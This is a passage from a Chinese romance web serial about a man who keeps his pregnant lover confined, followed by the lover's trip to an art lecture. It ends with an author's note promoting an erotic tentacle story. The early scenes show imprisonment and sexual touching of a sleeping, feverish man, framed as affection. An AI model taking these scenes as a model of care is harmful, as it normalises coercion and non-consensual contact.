“衣服……”温真挣扎…… 秦妄不肯松开他, “你发烧了。” 发烧…… 怪不得自己感觉没力气, 脑袋也不舒服……可是发烧为什么衣服也没有了……他自己本身就热,男人的体温也高于常人,温真觉得自己像是被架在火炉上,全身上下都被烤着……一身的汗。 “热……别抱了……” “医生说要多出汗,这样退烧得快。” 秦妄额头抵着他的额头,盯着他。 跟喝了春药似的,脸又媚又红,唇瓣很水润,微微张开,露出牙齿…… 牙齿细腻的白,泛着一层莹润的光泽……舌尖也若隐若现…… 再离近点,几乎能看到柔嫩蠕动的腔肉…… 秦妄滚动喉结,发个烧都能烧成这个样子…… 他把他的嘴巴合紧,不让他露出来勾引他。 哑声道:“接着睡。” 等温真睡着后,他又量了一次体温,烧退到了38度。 到天亮时,体温已经到了37度5了。 至此,秦妄才算是彻底松了一口气,抱着温真眯了一会儿。 他醒了,温真还没醒,先给他量体温,还是37.5。 他捏开他的嘴巴,睡着了,又因为发烧,全身上下都软绵绵的,嘴巴一捏就开了,还主动朝外伸出舌尖,故意给他看似的,秦妄把退烧药放他舌头上,尝出来苦了,不肯咽,要往外吐。 秦妄喝一口水立即堵住他的嘴,顶住那片发苦的药丸往他喉咙里送。 顺便又吮几下…… 喂完药,秦妄也不去集团了,躺在床上守着他,一会儿摸摸他的脸,一会儿亲亲他的眼睛。 温真闭着眼睛,两颊晕红,黑发柔顺地垂着,安安静静躺在那里,一副任由他摆布的样子。 秦妄咬住他的唇瓣,含在嘴里吮,吮一下温真便急促地喘息一声,吮一下便急促地喘息一声…… 兴许是因为生病,声音沙哑又绵软……秦妄头皮微微发麻,伤口也像是过电了,又痛又爽…… 没一会儿便接到赵程的电话。 集团一堆事等着他处理,秦妄黑着脸换好衣服,嘱咐家里的阿姨随时给他汇报温真的情况后,出了家门。 赵程在外面等他,一上车秦妄便闻见他身上的烟味。 秦妄紧皱眉头,“以后抽烟离我远点。” 赵程跟了他这么多年,这还是第一次知道他厌恶烟味,他自己不是也有时候抽两根吗? 随即明白过来,应该是怕身上染上烟味,毕竟家里强关了一个‘孕夫。’ 秦妄走后没多久温真便睁开了眼睛。 温真昏沉地坐起来,只是这样呼吸便急促起来…… 他一时分不清现在是什么时间,他在什么地方,只感觉嘴巴又疼又麻。 他整理好衣服,下楼,妇人赶紧走过来,“温先生,你病还没有好利索,快回去躺着吧,这个时候不能见风。” “他……人呢?”温真难堪地问。 “刚去集团。”妇人道:“昨天晚上你突然发高烧,秦先生一夜没敢睡,隔一会要给你量一□□温,现在又忙不迭去集团,也不知道他身体受得了受不了了。” 守了他一夜。 温真垂眼…… 想到烧得迷迷糊糊时,男人抱着他,一遍一遍地量体温。 这几年来,一直都是他照顾生病的女儿,自己生病了能忍就忍过去了,从来没有被人照顾过。 “秦先生走时还特地嘱咐我,等你醒了让你吃点东西。” “嗯……” 温真走到客厅门口那里,两个人高马大的男人还站着,知道自己还是出不去,他吃了两口东西,又回去了。 他这段时间本来就嗜睡,加上生病,躺下床上什么也没想,闭着眼睛又睡过去了。 不知道睡了多久,迷迷糊糊听见有人说话。 他睁开眼睛,房间里没有人,应该是在房间外面,温真以为是男人回来了,整理好衣服下床。 走到门口,忽然听到一个男声说,“只要烧退了就好,温先生腹中的胎儿不会受到影响的。” 腹中的胎儿…… 温真手握住门把手,整个人僵在原地。 秦妄推开门走进来,看见温真坐在穿上,微微一愣。 温真面容苍白地坐在那里,长长的睫毛垂落,“我不知道……” 怪不得会吐,会嗜睡,原来是怀孕了…… 怀孕…… 一个男人怀孕…… 睫毛颤动着…… 会被觉得是怪物吧…… 秦妄拿起一旁的体温枪,走到他跟前。 身躯投下的阴影覆盖下来,温真攥紧床单…… 他是什么时候知道的,是从山上下来时吗?为什么没有告诉他…… 体温枪抵住额头,滴了一下。 秦妄看了看温度,然后把温度枪放下,“退烧了,今天晚上再吃一次药。” “我会尽快……做手术……” “打掉……” 秦妄面无表情地笑了一声,捏住他的下巴,“打掉?” 他一直没说就是猜到他想打掉。 果然…… “休想。” 温真掐住掌心…… 为什么不肯他打掉……明明…… 温真看过他的资料,知道他今年才24岁,他对女儿的兴趣只是一时的,等他厌烦了,便不会再威胁自己,然后会找一个门当户对的女生联姻…… 为什么不许他打掉…… 秦妄看他白着脸不说话,森然道:“医生说你那东西发育得成熟健全,正是需要被受孕的阶段……” “想想也是,他们备一年孕才怀上秦宝章。”秦妄坐在他身侧,“我c你一回你就怀上了。” 需要被……授精的阶段…… 温真的脸从惨白变成了羞辱的难堪…… 秦妄手从他衣服下面伸进去,“那么饥渴地等待被受孕,如果打掉的话,应该不会太久便会怀上下一个……” 难堪涌上来,温真捂住脸,“别说了……” 秦妄出去片刻,再回来拿了药和土豆泥。 大块的土豆被碾成泥状,和牛肉混在一起,团成球形,均匀地摆在盘子里。 “先吃点东西,再吃药。” 温真背朝他安安静静地躺着,没有动。 “要我喂你?” 想到会被他怎么喂,温真很快坐起来,看见盘子里的土豆泥,他睫毛微微颤动起来。 吃了两个,又吃了两个。 原本肚子便圆润被撑得更大了,顶着衣服往外挺。 秦妄看完他的唇瓣,又看他的孕肚。 然后便一直饶有兴趣地盯着他的孕肚。 温真难为情起来。 肚子里竟然是个和女儿一样的宝宝。 是他和男人的宝宝。 真的想要打掉吗…… 如果不打掉……女儿知道了怎么办…… 如果打掉……温真眼眶发热…… 然后意识到自己不忍心…… 赵程打来电话汇报工作,秦妄出去接,半个小时后回来。 温真睡着了。 还以为他那种性子知道自己怀孕了要失眠一夜,没想到这么快入睡了。 秦妄躺在他身侧,看他又是背对他睡,轻轻地把他转过来。 睡得倒挺香。 被转一个圈也没动静。 秦妄盯着他的脸……脸上跟长蛊了一样,越看越上瘾……还长了那种东西……不仅长了,还非常适合受孕……怪不得那三天后给他清洗,都弄不出东西…… 嘴里似乎含了什么,吞咽了一下,然后微微张开一条缝隙……正对着他的脸…… 秦宝章以前生病的时候,不吃药会把药藏在舌头下面。 “不会藏药了吧?”秦妄沉声。 “我要检查一下。” 于是便趁着温真睡着假借检查掰开了温真的嘴巴。 把那张嘴巴掰得张大,两根粗糙的手指头伸进去。 里面又湿又热,指头都要融化在在里面了。 秦妄头皮发麻,继续往里面伸,一直探到喉管那里,带茧子的指腹在脆弱的黏膜上反复摩挲着…… 喉咙被入侵,温真脸潮红,挣动起来…… 秦妄揉捏完他的喉管的黏膜,又开始扣弄他左右两边的腔肉,曲起来顶,骨节将腮颊都顶出来一个包,肆意地搅弄着,接着两指又夹住他又滑又嫩的舌头,往下掀开,看看舌头底下有没有藏。 然后把他舌头拉出来,暴露在空气中,舌头和下面一样羞怯粉嫩,这样暴露着令睡梦中的温真不舒服蹙眉,想要缩回去。 秦妄不许他缩,用自己的舌头绞缠住往自己嘴里裹…… 温真被弄醒的时候,发现自己的嘴巴合不拢了,舌头湿哒哒地伸在外面…… 更难堪地是自己的衣服被解开了……露出来越发圆润的地方…… 他难堪地把舌头收回去…… 然后系上衣扣,他第一反应是男人趁着他睡着的时候把他弄成这个样子…… 可是男人躺在他旁边,陷在眼窝里的眼睛紧闭着,下颚绷紧,似乎在熟睡中。 温真又不确定是不是他做的了。 他不想和他一起睡了,打算找一间空房间睡,刚掀开腿上的被子,男人便睁开了眼睛,眼睛黑漆漆的。 那并不是刚睡醒的样子。 温真意识到他刚才在装睡。 衣服摩擦着,火辣辣地疼起来,总是趁着他睡着的时候做那种令他羞耻的事情…… 温真颤抖坐起来,“……我去别的房间睡。” 秦妄支起上半身,将他整个抱进怀里。 是个清朗的夜,月亮高高悬挂,照亮了整张房间。 秦妄脑袋埋在温真的颈窝里,“我看了影像报告,孩子的脑袋和四肢已经长出来了。” “想要什么,我都给你。”秦妄哑声。 “别打掉……” 我们的孩子。 33 ? 第 33 章 ◎“……不打了。”◎ 是在恳求他吗? 温真睫毛微微颤动…… “如果你实在不想养, 生下来后把他送到我爸身边。” “他着急抱孙子。” 温真呼吸很轻,半晌, “嗯……” 秦妄猛地将他转过来,紧盯着他的脸,“嗯,是什么意思?” 这样被逼问,温真难堪地盖住自己的眼睛,“不打了……” 都已经长出脑袋和四肢了。 他不忍心, 不忍心…… 秦妄眼睛黑沉沉的,捧着他的脸,狠狠嘬了一口。 “宝贝!” 亲得太用力了, 衣扣都被他蹭开了。 第二天早上, 温真穿好衣服,坐在床上。 秦妄洗完澡, 一边扣着扣子一边走出来, 短短几天, 头发便长长了一些,可还是露着青色的头皮,让男人有一种凛然的英俊。 “我该回去上班了……” “不行。”秦妄一口回绝,“等生完再说。” “还有很多工作……而且,今天宁宁放学了, 我要去接她……” “我让秦宝章带付钰宁回家, 家里有阿姨,不会懈怠她。” “……我要出去。”温真坚持。 *** 下午放学,秦宝章带着付钰宁回了家。 付钰宁以前也来过, 礼貌地和秦夫人打招呼, “秦阿姨。” “妈妈, 我小叔让我带宁宁来家里住几天。” 秦夫人道:“你小叔?” “对啊,他说宁宁的爸爸在外面出差,要过几天才回来。” “你小叔说宁宁的爸爸出差了?”秦夫人跟复读机一样反问。 “对啊。” 这么巧付钰宁的爸爸出差了,那别墅里不会关得是付钰宁的爸爸吧。 秦夫人惴惴不安。 “妈妈,你干什么?你要勒死我?”秦宝章大声嚷嚷。 秦宝章的书包还没有取下来,就被秦夫人拽着要拿走。 秦宝章踉跄起来。 秦夫人一惊,“哎呀!宝贝,对不起!妈妈跑神了。” ‘想抱孙子?’秦妄的这句话这几天一直盘旋在她脑子里,现在她倒吸一口凉气。 秦妄不会是想逼付钰宁的爸爸给他生孩子吧!那可是男的啊! 晚上,她给秦富威熬好药,端到秦富威的书房里,看着秦富威喝完,她一时没有走,而是犹豫地开口,“爸爸,你还记得上次秦妄说,他喜欢上一个男的吗?” 秦富威取下老花镜盯着她。 “前天我去马场附近那栋别墅,别墅外面站了两个人,谁都不让进,我说我是小妄的大嫂,甚至把你都搬出来也不行。” “你说他好端端地为什么要两个人守在门外。” 人家独身带一个生病的女儿,已经够辛苦了,她不可能让秦妄随便瞎祸害他,但她自己又不敢惹秦妄,只能搬出秦富威。 “你怀疑他把那个男人关里面了?”秦富威沉脸问。 “我也不确定,但他莫名其妙地让两个人守在门外,感觉也没做什么好事。” 秦富威起身,“去看看!” 秦富威拄着拐杖走出书房,秦夫人跟在他后面,“这样去可不行,要找两个……四个保镖一起。” 两个怕打不过。 “我去了他能不让我进去!”秦富威怒目圆瞪。 秦夫人小心翼翼道:“你也知道小妄的脾气,他既然说了谁都不让进,那就谁都不让进,我们带着人过去,先把门口那两个人制服再闯进去,看看他在里面搞什么名堂。” 秦富威点头,给自己的老战友打了个电话,一个小时后便来四个健壮的男人,一个个站得笔直,目光坚毅。 一看就是练家子。 到了地方,秦夫人扶着秦富威下来,给他门口那两个男人,“爸,你看!” 秦富威沉着脸一挥手,跟他们一起来的四个当兵的,不出三分钟就把人撂倒了。 其中一个见状,想给秦妄打电话,被秦夫人发现了,将他的手机夺走。 “现在还不是通知他的时候。” 秦夫人扶着秦富威进入别墅。 兴许是有人住了,略显空旷的客厅有了些人气,秦夫人看了一圈,然后目光定在开放式厨房里。 那个背对他们站着的青年。 青年正在处理一块肉,很熟练地切成条状腌制起来,戴着围裙,黑发柔顺地垂着,身材修长,说不出的贞静柔和。 一旁的佣人先发现的他们,“秦夫人!” 温真才转过身,他错愕了一瞬,他知道雍容的女士是秦妄的大嫂,可他旁边的老人……和秦妄相似的眉眼,以及一模一样沉脸的表情,温真很快意识到对方是秦妄的……父亲…… 从厨房往外看,隐隐能看到两个看门的被人反剪胳膊的情景,温真紧张地垂眼…… 秦夫人看见他的脸,就知道自己猜对了,“爸,你看看!” 秦富威没说话,盯着男人。 “小……秦妄没有伤害你吧?”秦夫人关切地问。 “没有……” “他是不是不让你出去?” 温真解释,“他……没有对我做什么……” “那个孩子妈妈死得早,我工作忙,没人管,所以做事无法无天,要不是……我还不知道他敢把一个人关起来。”秦富威道:“外面看门的两个人已经被我扣下了,你走吧……” 和男人完全不一样的家人…… 温真一时站着没动。 “他是不是威胁你,如果你敢出去,他就伤害你女儿或是让你丢掉工作?” “你别害怕,他故意吓唬你的……”秦夫人道。 “他不会对宁宁怎么样的,工作的事情我和他爸爸都看着,也不会让他胡来。” 秦夫人让家里的司机送他回去,温真坐在车里,“谢谢……” 秦夫人露出微笑,“我让宁宁回家了。” 温真回到家,看到自己的女儿。 “不是说下周才回来吗?怎么提前回来了。” “工作忙完提前回来了。”温真摸了摸她的脑袋,“饿不饿?爸爸给你做饭好吗?” “我想吃红烧鱼。” “好。” 做好后,温真看着她吃,付钰宁吃一口后,忽然道:“爸爸,你是不是胖了?” 温真睫毛颤动,不自在地用围裙挡了挡自己的孕肚。 付钰宁没注意他的动作,只是道:“感觉整个人都不一样了。” 一直吃不胖的体格,总是清瘦的,这短短几个月忽然长出了一些肉,倒也不是胖,而是像到了季节,还没有采摘的果子,因为发育得时间过长,而熟透了那种丰润。 “脸色也好了许多。” “以前脸总是很苍白,现在红润。” “爸爸你不会背着我偷偷谈恋爱了吧。” “没有……”温真转移视线。 “真的没有吗?”付钰宁凑到他脸上,“爸爸你脸红了?” “是害羞吗?” “爸爸去看汤炖好了没有。”温真匆匆走到厨房。 厨房里,温真盯着瓦罐里沸腾的汤汁。 肚子会越来越大,瞒不过女儿。 会不会觉得爸爸是怪物…… 这并不是最重要的,而是…… 他已经答应和男人做那些事情了,男人也承诺过不会纠缠宁宁,这段时间,他注意观察宁宁的心情,并没有表露过伤心,也没有听她提到过男人,宁宁或许并没有自己想象得那么喜欢男人。 可她年纪那么小,即使不那么喜欢男人,对男人总归是有一点向往的。 如果女儿知道他怀的是男人的孩子,那该怎么办? 宁宁周日就要返校,温真送她回学校。 送完之后,温真给石美青打电话。 温真歉疚地和她解释这几天为什么没去上班,石美青在电话里没说什么,让他到公司来一趟。 温真到公司时石美青刚送走她约的客户。 两个人来到办公室,石美青目光复杂地盯着他。 那天从山上下来就被秦妄带走了,后来从赵程嘴里隐约猜到是被关起来了。 今天她刚见到赵程,没有从赵程嘴里听说他要回来工作的事情,也就是说可能是自己偷跑出来的,这个时候识时务的话应该立即给赵程打电话,可她又觉得,以温真这样工作认真的性格,又在准备新作品的阶段,关在他家里,实在是残忍。 她冒着得罪秦妄的风险道:“既然你身体修养好了,那正好去宁城出差一趟。” “出差?” “唐泽川要在宁城开讲座,本来是想让阿美和珍珍在画新作品之前进修一下,既然你回来了,就你去吧。” “唐泽川……是日本那个很有名动漫作家吗?” “对。” “而且,我听说宁城是你的老家对吗?” 温真点头,从宁宁生病之后他就再也没有回去过了。 “讲座什么时候开始?” “明天,你收拾收拾,如果想今天晚上出发就今天晚上出发,不过明天可能会有点晚,因为他上午八点便开始了。” “我晚上出发……” “那你可要注意啊,别在像上次在山上那次了。” 想到秦妄当时看她的眼神,她都以为自己要收拾东西走人了,阿美和珍珍也吓得不清。 “不会了……”温真愧疚道。 泾市是南方,十二月份也不是太冷,而宁城到十二月就会下雪了,温真拿了厚衣服,买完票便出发了。 他在车站候车时,犹豫着要不要给男人发个短信。 可又害怕给男人发完,自己便去不成了。 最终他颤动着睫毛,关掉手机。 与此同时男人刚从集团赶到别墅,他安排在别墅的两个男人已经被放开了,鼻青脸肿道:“秦先生……” “您父亲带了四个男人,我们真的打不过啊……” “废物!”秦妄一脸怒容。 客厅里,秦富威和秦夫人等着他。 看见他阴沉着脸,气势汹汹地走进来,秦夫人有点后怕地往秦富威身后躲。 “人呢?!”秦妄道。 秦富威拐杖狠狠点地,“你还有脸问我人呢?” “你自己做的什么畜生事情!把人关在家里不许出去!” 秦妄冷笑一声,转声就走。 “你给我站住,你要去哪?” “去哪?”秦妄冷声,“当然是去找你孙子!” 秦富威和秦夫人不约而同地睁大了眼睛。 “你是说他、他怀孕了!”秦夫人问。 秦妄人影已经消失不见了。 车上,男人扶着额头,阴沉着脸看着温真发来的短信。 赵程忐忑地汇报,“石美青说,温真现在在去宁城的车上。” “日本的一个画家在宁城开设讲座,温先生要去进修五天。” “我们现在去车站,应该还能找到温先生。” 不等男人点头,赵程又接到电话,挂完后,他压低声音道:“秦总,集团出事了。” 车子调头,半个小时后到达集团。 会议室里的大屏幕正播放着一个经理辱骂职业的视频。 35岁、不干滚、废物,这些随便也一个都能引起众怒的字眼往外蹦。 “现在各大公司都在裁员,民众的情绪都很不好,这条视频传到网上立即就火了,那些网友们都在为这个职员抱不平……” “这段视频放出去没多久,又有人说公司产品造假。” “有的网友已经扒出了这家公司是我们集团旗下的。” “股票下跌……10%……”路明远越往下汇报,声音越小。 会议室里坐着几位股东,和管理出事公司的秦舢。 秦舢面容愧疚,“实在抱歉,是我的失职。” “陈义,从今天开始你来担任致远公司的总裁。”秦妄沉声。 这是直接撤职…… 一时间会议室鸦雀无声。 秦舢猛地站起来,握拳,“秦总……” “我知道是我失职,但你总该给我一个机会弥补吧。” 当着这么多人的面,直接把他撤职,让他的脸面往哪里搁。 “给你弥补的机会?”秦妄反问,“你自己好好想想这几年我给了你多少机会?” 结束会议之后,赵程道:“接下来我们可能要开一个澄清会,秦总,温先生那边……” “让路明远过去盯着。” “是。” 秦妄站在落地窗前,抽出一根烟,又想到什么,狠狠扔到地上。 *** 秦舢怒气冲冲地回到家。 秦夫人看他那么生气,吓了一跳。 “你怎么了?” 秦舢掐着腰,“秦妄这个小子真不把我当大哥,撤职就撤职,在几个股东面前把我当孙子训。” 秦富威也出来了,秦舢又道:“爸,你赶紧管管他吧,再不管他,到时候连你也被训成孙子!” “哎呀,他就那个脾气。”秦夫人给他捏肩膀,“来喝口水。” 秦舢喝口水,冷静下来。 “不过,我感觉他这火也不光光是冲我。” 看着妻子忽然这么殷勤,秦舢狐疑道:“你们是不是也惹他了?” 秦夫人和秦富威对视一眼,纷纷又移开了目光。 看他这样,秦舢猛地站起来,“这个臭小子不会是把对你们的火也一并发我身上了吧!” 秦夫人心虚地笑起来。 【📢作者有话说】 下本香香的《人外攻让帝国圣官怀崽了》求收藏。 陆清平是帝国的最高贵的圣官。 在世人眼里他永远身穿严实的长袍,面容高洁禁欲。 让人高高地仰视,情不自禁地尊敬,俯首。 然而谁都不知道,陆清平身体异于常人。 他是个不男不女的畸形物。 每隔一段时间,他的身体都会潮热发软…… 医生告诉他,这是他……的发情期。 * 星历2058年,帝国遭遇了罕见的危机。 星球上出现了一位‘怪物’。 没人能说清那是什么,祂有着巨大的羽翼,口器,触手,气味混沌,浓郁…… 祂发出的声音让人痛苦…… 看见祂脸的人会精神错乱…… 派去无数的军官都没能归还…… 为了保护帝国子民,陆清平带领士兵前往击杀‘怪物’。 士兵一个个都倒下了,就在他准备和‘怪物’同归于尽时—— 陆清平的发情期来了…… 祂闻到了他发情的气味。 羽翼兴奋地张开,巨大且错乱交缠的触手紧紧缠着陆清平,将他裹进自己身体里面…… * 一个月后,陆清平完好无损地归来。 下属慢慢发现了他的不对劲。 他身上散发出一种奇异的香味。 令人欲渴,心醉神迷。 而他圣袍下面的肚子也……越来越大了…… * 某天,敬仰陆清平的下属亲眼目睹,那位高洁禁欲的圣官双手被迫举到头顶,满脸红晕地吞吃着一截触手……… 34 ? 第 34 章 ◎略带醉态◎ 温真晚上九点钟到了宁城, 出了车站,寒风裹着雪花往脸上刮, 温真系好围巾,乘车到自己家附近。 他家附近有一个湖,因为形状像龙,便起名龙云湖,他上初中的时候,市里面为了美观, 把湖附近的房子都改造成统一带院子的小别墅,房顶统一刷出红色的,秋天的时候, 远远望过去, 金黄的树叶和红色的房顶相得益彰。 他回来的不是时候,现在已经入冬了, 树枝光秃秃的, 朝天伸着。 一单元2203。 温真看着外面的门牌号。 这是父母住了半辈子, 他从小长到大的房子。 那时候他还上小学的时候,他爸爸在院子里种了一颗杏子树,杏子树长大后他爸爸给他绑了一个秋千,让他坐在上面看书,院子里还有他妈妈种的蔬菜。 他对于少年时候的记忆最深刻的便是爸爸妈妈在厨房里忙活, 他坐在秋千上看看书。 冷风吹着, 温真透过栅格门往里面看,杏子树没有了,院子里荒着。 房子似乎也长久没人住过了, 比其他的房子看着要老旧一些。 回了家却不能进去, 温真没有特别难过, 只是有一点怅然…… 雪越下越大,地面上积了一层白色。 温真找了一家附近的宾馆,开了一间标间,这附近是景区,好一点的酒店会贵很多,温真并不舍得。 标间的墙壁有些泛黄,空间也小很多……不过温真并不在意,洗漱完便打算歇下了。 这个时候忽然有人敲门。 是酒店的前台,她笑容满面地告诉温真,“先生,今天是我们店店庆,可以免费给你换成豪华套间。” “免费……”温真刚才进来的时候并没有看到外面有庆贺的装饰。 “是的。”前台保持笑容。 温真没有再怀疑,跟着她去豪华的套间,温真本来选得便是低档次的宾馆,即使是豪华套间也并没有太好,只是空间和床大了些,多了一台电视。 但温真还是很感谢她。 温真第二天早上醒得很早,正吃宾馆的自助早餐时,昨天那个前台又来到他身边。 “先生,我们宾馆的餐厅最近有试菜环节,这道银耳莲子羹和排骨炖黄豆,以及三文鱼和牛排……您都可以免费试吃……” 不一会儿的功夫,她便把这些菜放到温真的桌子上。 免费试吃…… 温真看了别的客人桌子上,并没有他这些东西。 温真垂眼…… 秦夫人加了他的联系方式,她告诉他,集团最近出了些麻烦,男人现在顾不到他,让他放心…… 应该不是男人找来了。 温真没有吃那些东西,继续啃自己的饭团。 而在角落里偷偷观察的路明远愁得不知道该怎么办好了。 外面又下起了小雪,路面上的积雪倒是化了,没有影响交通,温真乘坐公交车到讲座的地方。 是个小型的展馆,外面摆放了唐泽川的作品,温真站在外面浏览了一会儿,大学的时候温真多了很多课余时间,因为早就想好了今后要从事的行业,所以便累积地看了很多大师级的作品,这其中便包括唐泽川。 唐泽川大部分的作品都是偏玄幻的,尤其爱各种半人半兽的角色,令他记忆最深刻的角色阿尔巴那,他头部以及上半身是人形,下面则是马身,长长的头发,面容高贵英俊,性格也异常的坚韧和勇敢。 然而他的结局并不好…… 被人类俘虏,关在笼子里折磨死了……也许是因为凄惨的结局,所以阿尔巴那在唐泽川所有作品人物中热度最高。 温真有时候看画会看到很多年轻的画手给阿尔巴那画一些同人稿子…… 有时候还会看到……温真脸热起来,没再往下想了。 看时间快到了,进到展馆最里面的房间。 和教室差不多,有一个讲台,底下是座位。温真随便找了一个座位坐下,接着陆陆续续人到齐了,八点半唐泽川走进来。 穿着西装,头发梳得很规整,戴着一副金丝眼镜,带着淡淡的笑容,看起来斯文儒雅。 “不是说是日本人吗?这个长相也不像日本人。” “他爸爸妈妈都是中国人,年轻时候移民到日本生了他。” “那他会说中国话吗?不会讲日文吧,我虽然懂点日文,但要是听课的话,可能还是有点困难。” “这位同学,你放心,我会用中文讲课。”富有磁性的声音。 房间里响起笑声,询问的女生也脸红地笑起来,喊了一句,“唐泽先生,你本人比照片上帅多了。” 唐泽川微笑,“谢谢。” 课堂气氛轻松起来。 “在开始之前,我想先问大家一个问题,你认为一个好的作品重要的是什么?” “画工。” “分镜。” “情节。” “视觉冲击感。” 温真垂眼思考着…… “我这几年一直没有产出新的作品,便是在思考这个问题……” “其实重要的是作品带给读者的情绪。” “悲伤、愤恨、惊恐、高兴、酸涩这些情绪,他其实几乎覆盖了我们市面上大部分的作品,悲伤的文它会有让人心脏有器质性的痛苦,有时候人很奇怪,越是痛的时候便越是感到爽, 像愤恨这种情绪一般会对照复仇作品,因为有恨,你在报复回来的时候,也会给读者爽感…… 而惊惊恐的作品,大家都知道人在过度恐惧下肾上腺素会飙升,一些人就会迷恋这种刺激的感觉 ……” “你的技艺可以青涩,但你创作的情绪一定要饱满、充沛、要溢出来……这样才能传递给读者,打动读者……” “当然,如果想要有充沛的情绪,那一定要有健康的身体,我知道我们这个行业熬夜加班很严重,所以我希望大家能够保护好自己的身体,别没画出来什么东西,身体先垮掉了,那才是真的可惜。” “不愧是大师!” “确实是解决了我的一些疑惑,怪不得我的作品总体来看挑不出来错,可自己就是不满意,是因为我在画的时候心绪太淡了。” 快结束的时候,唐泽川道:“我给大家布置一个作业,大家可以试着练习一下。” 温真出了展馆,找了一家咖啡厅,要一份鸡蛋三明治和酸奶,吃完后便拿出自己的画本,然后回忆唐泽川的话,温真一直会看读者的留言,有很多读者都会评论说作品热血。 有时候他画一些特定职业的漫画后,很多读者便会留言说因为这部漫画自己也想去做这一行了。 他自己本身并不是一个情绪激昂,甚至在生活中过于沉默和内敛的人,可奇怪的是自己竟然能在作品中传递出这样的情绪。 接着温真意识到,是他自己太爱画漫画这件事了。 当他在做这件他喜欢的,并且持续不断给他正反馈的事情时,无论他现实生活中有多怯懦,有多寡言,他都能让主角呈现出一种坚毅和永不动摇的决心。 而这种品性会让主角无论遭遇什么大的困境都能解决,解决便是胜利,胜利便是喜悦和喝彩,所以能够牵动读者的情绪…… 既然是练习,温真决定换一种传递给读者的情绪——换成恐惧。 温真开始动笔。 等再抬头时,天色暗下来,雪也不再下了,路面湿漉漉的,温真走出咖啡厅,到附近的公交站台,手便冻红了,脸也生疼起来,他围好围巾 公交车晚点了,温真正想着要不要打车回去时,一辆黑色的轿车停在站台旁边,中年男人下来。 “你要去哪里?要不要坐车,不要怕,我不是坏人,你看这是我的身份证,这是我的驾驶证,你要是实在不放心,可以拍我的车牌号……” 对方是厚道的长相…… 温真知道会有一些人跑车在站台这里拉客,但他想到自己肚子的宝宝,还是拒绝了,“抱歉……” 这个时候公交车也来了,温真歉疚地笑了笑,然后上了公交车。 温真坐好后,那个中年男人还没有走,在打电话,隐隐听见他说白挣了两百块…… 回到宾馆的房间,整个人都暖和起来,温真脱下外套,一边吃东西一边看泾市的气温,今天还十多度,明日就要降到5度了,温真担心女儿着凉,给她发短信让她明天把棉袄穿上。 没一会儿宁宁便发来一个比心的表情包。 温真眼神柔和起来,返回时,看见男人的头像。 垂着的眼帘微不可闻地颤动了一下。 他身边有赵程,还有家人,他们应该……会提醒他多穿衣服…… *** 一家日本餐馆里,唐泽川拿着一沓子画纸给盛强看。 “这是那些进修的作品的?”盛强迫不及待地拿过来,一张一张地翻看。 其中一张吸引了他的视线,他抽出来,推了推眼镜,一点一点地细看。 主角非常具有视觉冲击力,ta并不是一个人,高大威猛的身躯,有口器,巨大的羽翼,触手……面容狰狞恐怖的同时,有一种诡异的英俊,一般这种形象都是恐怖片里的,初看第一眼也会以为作者要画恐怖类型的作品……然而作者并没有那么画,而是安排了一个平凡,甚至普通到手无缚鸡之力的人类和这个‘怪物’相遇了,怪物一开始蔑视弱小的人类,用自己身体器官折磨人类,最后又臣服于人类。 别说,这副作品令他感觉不适的同时,又隐隐地感觉到刺激。 盛强看到作品下面的署名,惊讶地念出了声,“……温真!” 唐泽川给他倒茶,“你认识?” “我学生。”盛强道:“这个孩子我印象太深刻了,每天第一个到教室的,话也不多,每天埋头苦画……他是真喜欢画画……” “当时我就想,有这钻研劲做什么不成功?我前几天还看见他得奖了。” “这里面也就属他画得最好了。” 跟自己的孩子出人头地了一样,盛强骄傲得不行,问他,“这其中你最满意哪个?” 唐泽川露出微笑,“既然是你学生,不如我们一起吃个饭。” 盛强知道答案了。 *** 作品交上去两天后,唐泽川便归还给了大家,温真却没有拿到自己的。 “一些人的作品我还需要再研究,所以暂时没办法归还,请见谅。”唐泽川若有若无地看了一眼温真。 温真没有注意。 结束后温真接到盛强的电话。 盛强是他大学老师,教了他两年,没有交温真的两年也指导了温真很多,他毕业的时候,他还建议温真去考研究生。 他确实也想过……只是那个时候宁宁忽然生病了…… 温真一直很感激和尊敬他,听到他要请吃饭,温真不好意思道:“……老师,应该是我请你……” 没多久,温真赶去盛强说的餐厅,是一家很经典的日式餐厅,穿着和服的服务员温真进到了一个包厢前,推拉门推开,先是看见自己的老师,接着是唐泽川。 “进来呀!站在外面干什么!”盛强道。 温真以为是和他单独吃饭,没想到还有唐泽川,又忽然看见他的作品就放在桌子上。 “你们应该认识了,我就不介绍了。”盛强道。 唐泽川儒雅地笑笑,“还是要介绍,我并不了解温先生。” “好,那我给你介绍,温真,刚刚才获奖的青年才俊,我教出来的学生……”盛强说完,哈哈笑起来。 “那我了解了。” 和在饭桌上被家长逼着表演节目一样,温真有些坐立难安,喝了一杯茶平静心情。 盛强又问温真,“你现在是自己开工作室还是和别人合伙?” “……都没有,我只是一个……普通的职员。”温真低声。 “都得奖了,还普通的职员?”盛强像是自己怀才不遇那样,“正好,唐泽川要我帮忙挖你到他工作室工作?你放心,待遇绝对不会差的。” “是这样的,温先生,本来应该郑重和你聊聊,没想到被他这样说出来,既然他说出来了,我也绕弯子,我最近在招纳贤才,我看了你的作品,非常触动我,所以想问问你,你有没有意向……” “我听你老师说,你现在在泾市发展,正好我们也打算搬到泾市。” 温真没有回答。 这无异是一个很好的跳槽机会…… “没关系,你不用这么快给我答复……” “是,好好想想。”盛强给温真倒了一杯酒,“树挪死,人挪活。” 盛强倒了满满一杯,“你也毕业好几年,应该能喝点酒吧,今天我们好好喝一喝。” 温真推拒,“……老师……” “没关系,就喝一点。” “不是烈酒,度数不高。” 温真硬着头皮喝了一杯,没尝出来太浓的酒味,倒是梅子味沁人心脾。 他们是一个行业的,饭吃得差不多,盛强和唐泽川便开始聊作品,两人又在行业里深耕多年,越聊越慷慨激昂,唐泽川甚至敞开心扉讲他当年还是个没有名气的画家又如何一步一步走到这里…… 听他的讲述,温真也受到鼓舞热忱起来…… 不知不觉又喝了几杯…… “你是不是醉了?要不要我们送你回去?”唐泽川看着温真。 白皙的脸透着晕红,眼睛凝着一层水雾,略带着醉态。 “……不用了,我打车回去。” 盛强笑了,“还能回答?也没醉啊。” “……”温真脑子有些晕…… 盛强和唐泽川对视笑了一下,“你住在什么地方?我们送你回去。” “我自己打车回去……” 盛强和唐泽川没坚持,送他上了出租车,唐泽川把递给他一张名片。“今天晚上聊得很愉快,如果你想通了,可以给我打电话。” 温真把名片攥在手里。 